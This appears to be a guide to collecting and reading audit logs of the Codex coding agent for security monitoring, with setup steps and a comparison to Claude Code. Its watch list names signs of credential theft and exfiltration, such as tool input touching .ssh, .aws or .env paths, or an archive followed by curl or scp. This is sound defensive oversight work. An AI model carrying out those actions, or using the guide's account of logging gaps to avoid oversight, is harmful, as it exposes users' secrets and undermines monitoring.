Our advice Start with CODEX_LOG if you are eligible, then add OTel Compliance files carry the content; OTel carries live decisions and failures.

Pros CODEX_LOG

  • Prompt, response, and tool input for every covered client.
  • Nothing to install or configure on laptops.
  • Explicit IDs link prompt, tool call, and result.
  • Immutable files with a stable event_id for de-duplication.

Cons CODEX_LOG

  • Eligible managed workspaces only.
  • Files arrive in batches, usually within 30 minutes (a p99 target).
  • Files expire after 30 days, so collect continuously.
  • Tool status but not tool output for general tools; approvals only for Codex Cloud.
Source Pros Cons Send to SIEM?
Compliance CODEX_LOG Central prompts, responses, and tool input; explicit IDs; no endpoint setup Eligible workspaces only; delayed; 30-day expiry; no general tool output Yes, first if eligible
OpenTelemetry Live; approval decisions and failures; standard protocol Off by default; no full commands; output snippets only; set per user in config.toml Yes
Local transcript Full commands, full output, turn settings, interrupted turns On each laptop; editable; no published schema On demand during investigations
Prompt history Quick index of what users typed Prompts only, on each laptop No
Desktop logs Explain app and connection problems Little about what the agent did No

A setup you can copy

  1. If your workspace is eligible, follow the Compliance Logs Platform guide and schedule a job that lists new CODEX_LOG files and downloads each one into your SIEM or data lake. Keep the raw JSONL with its file ID and download time, and de-duplicate on event_id. Run it often enough that no file reaches its 30-day expiry.
  2. Turn on OTel in each user’s ~/.codex/config.toml with your collector endpoint, and set log_user_prompt = true if your policy allows prompt text in the SIEM. If CODEX_LOG is not available to you, OTel is your only central source, so record what it does not capture.
  3. For an investigation, copy the session JSONL from the user’s machine and read it alongside the central events for the same user and time.
  4. Confirm effects elsewhere: A tool result tells you what Codex saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what actually changed.

What to watch first

  • Credential paths in tool input: tool_input containing .ssh, .aws, .env, or keychain tools, especially outside the repository named in the prompt.
  • Archive then network transfer: a tar or zip call followed by curl, scp, or similar in the same session.
  • Writes to startup locations: paths such as ~/Library/LaunchAgents in tool input.
  • Rising denials or failures: spikes in codex.tool_decision denials or codex.tool_result failures for one user.

None of these proves bad intent. Migrations, incident response, and admin work produce similar sequences. They tell you where to look.

What these logs cannot tell you

Evidence source Codex activity records Useful session evidence. Host activity requires additional sources.

Can answer What the records observed

  • Which session and user turn surrounded an action?
  • Which tool was called, with which arguments?
  • What output or failure came back?
  • Which working directory and workspace roots were configured?
  • What sandbox and approval posture applied?
  • Did the task complete, abort, or change settings?

Cannot prove What happened everywhere else

  • Every operating-system action was captured.
  • A recorded command caused every later host change.
  • A successful tool result was benign.
  • A missing event means an action did not occur.
  • Schemas and field meanings will stay stable across versions.

How this compares with Claude Code

Both agents offer a local transcript, opt-in OTel, and a central compliance feed, but the details differ:

  Codex Claude Code
Local transcript ~/.codex/sessions/.../*.jsonl, tool arguments as a JSON string ~/.claude/projects/.../*.jsonl, tool input as a JSON object
OTel [otel] block in config.toml; prompt text gated Environment variables or managed settings; content gated per class
Approval decisions OTel codex.tool_decision; Compliance TOOL_DECISION for Codex Cloud OTel tool_decision with source
Central compliance feed Ten-minute JSONL files of CODEX_LOG events; tool status, not full output Per-session API with ordered messages and text tool results, truncated at 10,000 bytes by default
Join keys session_id, turn_id, call_id session.id, prompt.id, tool_use_id

The Claude Code logging guide walks through each Claude Code source in the same way.